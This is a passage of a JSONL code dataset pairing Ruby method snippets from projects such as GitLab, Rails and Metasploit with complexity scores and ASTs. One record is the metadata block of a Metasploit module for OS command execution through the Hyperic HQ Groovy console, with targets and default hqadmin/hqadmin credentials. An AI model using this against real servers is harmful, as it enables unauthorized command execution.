AUDIENCE:DISCOVER:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},null]}]}","id":"5e1c8dd5-727d-4cd4-9edf-8947f2616616"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/audit_events/google_cloud/logging_service/logger.rb","start_line":10,"raw_source":"def initialize\n          @auth = AuditEvents::GoogleCloud::Authentication.new(scope: SCOPE)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@auth\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuditEvents\"]},\"GoogleCloud\"]},\"Authentication\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"const\",\"children\":[null,\"SCOPE\"]}]}]}]}]}]}","id":"4691a935-e8a1-4f58-a5ad-648124dd333b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/place_finder.rb","start_line":193,"raw_source":"def select_or_create_main_place(potential_places, lat, lon, suggested_name)\n      return create_default_place(lat, lon, suggested_name) if potential_places.blank?\n\n      # Choose the closest place as the main one\n      sorted_places = potential_places.sort_by do |place|\n        place.distance_to([lat, lon], :m)\n      end\n\n      sorted_places.first\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"select_or_create_main_place\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"potential_places\"]},{\"type\":\"arg\",\"children\":[\"lat\"]},{\"type\":\"arg\",\"children\":[\"lon\"]},{\"type\":\"arg\",\"children\":[\"suggested_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"potential_places\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_default_place\",{\"type\":\"lvar\",\"children\":[\"lat\"]},{\"type\":\"lvar\",\"children\":[\"lon\"]},{\"type\":\"lvar\",\"children\":[\"suggested_name\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sorted_places\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"potential_places\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"place\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"place\"]},\"distance_to\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lat\"]},{\"type\":\"lvar\",\"children\":[\"lon\"]}]},{\"type\":\"sym\",\"children\":[\"m\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted_places\"]},\"first\"]}]}]}","id":"5d686165-d72b-43a6-a278-2181623246c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/remote_development/workspace_operations/create/desired_config/bm_config_values_extractor.rb","start_line":101,"raw_source":"def self.deep_sort_and_symbolize_hashes(collection)\n                collection_to_return = Gitlab::Utils.deep_sort_hashes(collection)\n\n                # NOTE: deep_symbolize_keys! is not available on Array, so we wrap the collection in a\n                #       Hash in case it is an Array.\n                { to_symbolize: collection_to_return }.deep_symbolize_keys!\n                collection_to_return\n              end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"deep_sort_and_symbolize_hashes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"collection_to_return\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"deep_sort_hashes\",{\"type\":\"lvar\",\"children\":[\"collection\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_symbolize\"]},{\"type\":\"lvar\",\"children\":[\"collection_to_return\"]}]}]},\"deep_symbolize_keys!\"]},{\"type\":\"lvar\",\"children\":[\"collection_to_return\"]}]}]}","id":"1ddf5f4b-d7a2-4464-bc68-264209190d44"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/export_csv_service.rb","start_line":84,"raw_source":"def time_tracking_data\n      {\n        'Time Estimate' => ->(work_item) { widget_value_for(work_item, :time_tracking, :human_time_estimate) },\n        'Time Spent' => ->(work_item) { widget_value_for(work_item, :time_tracking, :human_total_time_spent) }\n      }\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"time_tracking_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Time Estimate\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"send\",\"children\":[null,\"widget_value_for\",{\"type\":\"lvar\",\"children\":[\"work_item\"]},{\"type\":\"sym\",\"children\":[\"time_tracking\"]},{\"type\":\"sym\",\"children\":[\"human_time_estimate\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Time Spent\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"send\",\"children\":[null,\"widget_value_for\",{\"type\":\"lvar\",\"children\":[\"work_item\"]},{\"type\":\"sym\",\"children\":[\"time_tracking\"]},{\"type\":\"sym\",\"children\":[\"human_total_time_spent\"]}]}]}]}]}]}","id":"b96c65d8-888b-4d24-b818-f3bcf4cbbae4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/vcenter_java_wrapper_vmon_priv_esc.rb","start_line":66,"raw_source":"def base_dir\n    datastore['WritableDir'].to_s\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"base_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]},\"to_s\"]}]}","id":"b052efe6-8c8c-4e28-a920-66088a2085d8"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/pinecone_db/client.rb","start_line":65,"raw_source":"def initialize_client(connection_config)\n        @api_key = connection_config[\"api_key\"]\n        @region = connection_config[\"region\"]\n        @index_name = connection_config[\"index_name\"]\n        @namespace = connection_config[\"namespace\"]\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_client\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@api_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"api_key\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@region\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"region\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@index_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"index_name\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"namespace\"]}]}]}]}]}","id":"5ee04d32-2396-4424-b16c-a6ba5436d8a4"}
{"repo_name":"rails","file_path":"./repos/rails/tools/releaser/test/releaser_test.rb","start_line":82,"raw_source":"def test_npm_version_when_the_patch_level_is_0_and_there_is_a_security_patch\n    releaser = Releaser.new(__dir__, \"5.0.0.1\")\n    assert_equal \"5.0.1\", releaser.npm_version\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_npm_version_when_the_patch_level_is_0_and_there_is_a_security_patch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"releaser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Releaser\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"__dir__\"]},{\"type\":\"str\",\"children\":[\"5.0.0.1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"5.0.1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"releaser\"]},\"npm_version\"]}]}]}]}","id":"aab93709-feb8-46ad-ae9c-f3c6692698ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/redis_cacheable.rb","start_line":59,"raw_source":"def with_redis(&block)\n    Gitlab::Redis::Cache.with(&block)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_redis\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Cache\"]},\"with\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"cd325012-f5d2-4398-a17a-7e7cb2433fe1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/where_chain_test.rb","start_line":76,"raw_source":"def test_associated_with_enum\n      assert_equal Author.find(2), Author.joins(:reading_listing).where.associated(:reading_listing).first\n    end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_associated_with_enum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"find\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"reading_listing\"]}]},\"where\"]},\"associated\",{\"type\":\"sym\",\"children\":[\"reading_listing\"]}]},\"first\"]}]}]}","id":"1dc57c5e-b375-4c2f-a9f0-cc063bd9cb23"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/project_type.rb","start_line":1012,"raw_source":"def explore_catalog_path\n      return unless project.catalog_resource\n\n      Gitlab::Routing.url_helpers.explore_catalog_path(project.catalog_resource)\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"explore_catalog_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"catalog_resource\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"explore_catalog_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"catalog_resource\"]}]}]}]}","id":"6237cd01-02c4-4a78-b524-e6821e004a00"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/agnostic_token_identifier.rb","start_line":25,"raw_source":"def self.token?(plaintext)\n      token_type(plaintext).present?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plaintext\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token_type\",{\"type\":\"lvar\",\"children\":[\"plaintext\"]}]},\"present?\"]}]}","id":"d1aeee3a-8a5f-4eb8-bac7-8e0cfdc68abf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/hyperic_hq_script_console.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'VMware Hyperic HQ Groovy Script-Console Java Execution',\n        'Description' => %q{\n          This module uses the VMware Hyperic HQ Groovy script console to execute\n          OS commands using Java. Valid credentials for an application administrator\n          user account are required. This module has been tested successfully with\n          Hyperic HQ 4.6.6 on Windows 2003 SP2 and Ubuntu 10.04 systems.\n        },\n        'Author' => [\n          'bcoles' # Metasploit\n        ],\n        'License' => MSF_LICENSE,\n        'DefaultOptions' => {\n          'WfsDelay' => '15',\n        },\n        'References' => [\n          ['URL', 'http://web.archive.org/web/20161229045841/http://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html']\n        ],\n        'Targets' => [\n          # Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04\n          ['Automatic', {} ],\n          ['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs' }],\n          ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],\n          ['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => \"\\x22\" } }]\n        ],\n        'Platform' => %w{win linux unix},\n        'Privileged' => false, # Privileged on Windows but not on *nix targets\n        'DisclosureDate' => '2013-10-10',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptBool.new('SSL', [true, 'Use SSL', true]),\n        Opt::RPORT(7443),\n        OptString.new('USERNAME', [ true, 'The username for the application', 'hqadmin' ]),\n        OptString.new('PASSWORD', [ true, 'The password for the application', 'hqadmin' ]),\n        OptString.new('TARGETURI', [ true, 'The path to HypericHQ', '/' ]),\n      ]\n    )\n\n    self.needs_cleanup = true\n  end","complexity_score":11.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"VMware Hyperic HQ Groovy Script-Console Java Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module uses the VMware Hyperic HQ Groovy script console to execute\\n\"]},{\"type\":\"str\",\"children\":[\"          OS commands using Java. Valid credentials for an application administrator\\n\"]},{\"type\":\"str\",\"children\":[\"          user account are required. This module has been tested successfully with\\n\"]},{\"type\":\"str\",\"children\":[\"          Hyperic HQ 4.6.6 on Windows 2003 SP2 and Ubuntu 10.04 systems.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bcoles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"str\",\"children\":[\"15\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20161229045841/http://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"str\",\"children\":[\"vbs\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix CMD\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-10-10\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use SSL\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[7443]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username for the application\"]},{\"type\":\"str\",\"children\":[\"hqadmin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password for the application\"]},{\"type\":\"str\",\"children\":[\"hqadmin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to HypericHQ\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"needs_cleanup=\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"752f5007-e245-42db-8dd6-ca585292d3e3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/models/cost_query/result.rb","start_line":71,"raw_source":"def entity_gid\n      \"gid://#{GlobalID.app}/#{self['entity_type']}/#{self['entity_id']}\"\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"entity_gid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gid://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalID\"]},\"app\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"str\",\"children\":[\"entity_type\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"str\",\"children\":[\"entity_id\"]}]}]}]}]}","id":"26bbf762-c943-4321-8018-20b0eab33126"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/import/source_users_finder.rb","start_line":11,"raw_source":"def execute\n      return Import::SourceUser.none unless authorized?\n\n      collection = namespace.import_source_users\n      collection = by_statuses(collection)\n      collection = by_search(collection)\n      sort(collection)\n    end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"SourceUser\"]},\"none\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"collection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"import_source_users\"]}]},{\"type\":\"lvasgn\",\"children\":[\"collection\",{\"type\":\"send\",\"children\":[null,\"by_statuses\",{\"type\":\"lvar\",\"children\":[\"collection\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"collection\",{\"type\":\"send\",\"children\":[null,\"by_search\",{\"type\":\"lvar\",\"children\":[\"collection\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sort\",{\"type\":\"lvar\",\"children\":[\"collection\"]}]}]}]}","id":"23fc4c96-6610-40a5-9a88-e749170da005"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240513060540_add_foreign_key_to_ci_builds_to_execution_configs.rb","start_line":15,"raw_source":"def up\n    add_concurrent_partitioned_foreign_key(\n      SOURCE_TABLE_NAME, TARGET_TABLE_NAME,\n      column: COLUMN,\n      target_column: TARGET_COLUMN,\n      on_update: :cascade,\n      on_delete: :nullify,\n      validate: false,\n      reverse_lock_order: true,\n      name: FK_NAME\n    )\n\n    prepare_partitioned_async_foreign_key_validation(\n      SOURCE_TABLE_NAME, COLUMN,\n      name: FK_NAME\n    )\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_partitioned_foreign_key\",{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_column\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_COLUMN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_update\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_partitioned_async_foreign_key_validation\",{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]}]}]}]}]}","id":"4ca2afb6-7ab0-4a3f-b12d-fbd662cb4323"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/global_id.rb","start_line":16,"raw_source":"def self.as_global_id(value, model_name: nil)\n      case value\n      when GlobalID\n        value\n      when URI::GID\n        GlobalID.new(value)\n      when Integer, String\n        raise CoerceError, \"Cannot coerce #{value.class}\" unless model_name.present?\n\n        GlobalID.new(::Gitlab::GlobalId.build(model_name: model_name, id: value))\n      else\n        raise CoerceError, \"Invalid ID. Cannot coerce instances of #{value.class}\"\n      end\n    end","complexity_score":15.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"as_global_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwoptarg\",\"children\":[\"model_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalID\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"GID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalID\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_name\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"CoerceError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot coerce 